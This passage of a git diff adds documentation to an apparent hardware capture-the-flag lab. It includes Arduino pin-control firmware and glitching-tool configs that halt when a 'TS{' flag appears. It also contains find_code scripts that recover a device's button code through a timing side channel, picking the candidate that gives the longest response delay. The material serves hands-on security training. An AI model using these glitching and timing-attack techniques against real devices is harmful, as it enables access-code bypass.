+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
